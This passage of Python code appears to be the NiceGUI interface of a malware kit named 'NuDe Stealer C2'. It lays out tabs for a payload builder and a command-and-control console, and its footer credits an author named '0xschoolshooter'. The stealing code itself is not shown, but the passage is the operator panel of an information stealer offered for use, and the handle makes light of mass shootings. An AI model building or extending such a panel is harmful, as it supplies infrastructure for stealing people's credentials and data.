''')
ui.add_css("""
body {
font-family: "Montserrat", sans-serif;
}
""")
ui.add_css("""
.fade-out {
transition: opacity 1.5s ease;
opacity: 0;
}
""")
with ui.row().classes(
"w-full items-center px-6 py-3 gap-8"
):
ui.label(
get("general", "app_name", fallback="NuDe Stealer C2")
).classes(f"{TITLE_SIZE} {PRIMARY}")
with ui.tabs() as tabs:
ui.tab("Start", icon="start")
ui.tab("Builder", icon="fingerprint")
ui.tab("C2 CONSOLE", icon="terminal")
ui.tab("Account Settings", icon="settings")
ui.tab("Credits", icon="coffee")
with ui.element().classes("w-full flex-1 px-3 py-3 flex justify-center"):
with ui.element().classes(
"w-full h-full p-4 rounded-2xl border-4 border-pink-300 shadow-lg flex flex-col"
):
with ui.tab_panels(tabs, value="Start").classes("w-full h-full bg-transparent flex-1"):
with ui.tab_panel("Start"):
start_page()
with ui.tab_panel("Builder"):
builder_page()
with ui.tab_panel("C2 CONSOLE"):
c2_page()
with ui.tab_panel("Account Settings"):
acc_settings_page()
with ui.tab_panel("Credits"):
credits_page()
footer = ui.footer().classes(f"{PRIMARY} justify-center")
with footer:
ui.label("Software Solutions created by 0xschoolshooter").classes(FOOTER_SIZE)
def fade_footer():
footer.style("opacity: 0; transition: opacity 1.5s ease;")
ui.timer(5.0, fade_footer, once=True)
"""video_uri = Path(__file__).resolve().parent.joinpath("assets/25519.mp4").as_uri()
v=ui.video(
video_uri,
autoplay=True,
loop=True,
muted=True,
controls=False,
).style(
"position: fixed; top: 0; left: 0; width: 100%; height: 100%; "
"object-fit: cover; z-index: -1;"
)
v.on("ended", lambda _: ui.open("/home"))"""
def start_ui():
threading.Thread(target=start_ui_thread, daemon=True).start()
def start_ui_thread():
ux.ui.run(title=__title__, reload=False, native=True, port=int(get("ui", "port", fallback=8080)), dark=True, show=False, window_size=(1050, 700))